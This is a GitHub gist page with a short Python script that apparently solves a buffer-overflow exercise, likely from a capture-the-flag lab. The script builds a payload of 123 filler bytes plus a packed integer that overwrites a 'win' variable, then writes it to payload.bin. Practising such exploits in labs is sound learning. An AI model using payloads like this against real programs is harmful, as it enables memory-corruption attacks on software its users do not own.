Created
November 24, 2024 07:52
-
-
Save morkev/58c474fcf4a041b787db5dfc3051ccd6 to your computer and use it in GitHub Desktop.
Revisions
-
morkev created this gist
Nov 24, 2024 .There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -0,0 +1,18 @@ import struct buffer_size = 123 offset_to_win = 123 offset_to_lose = 127 padding = offset_to_win win_value = struct.pack("<I", 1) payload = b"A" * padding + win_value assert len(payload) <= offset_to_lose with open("payload.bin", "wb") as f: f.write(payload) print(payload.decode('latin-1'), end='')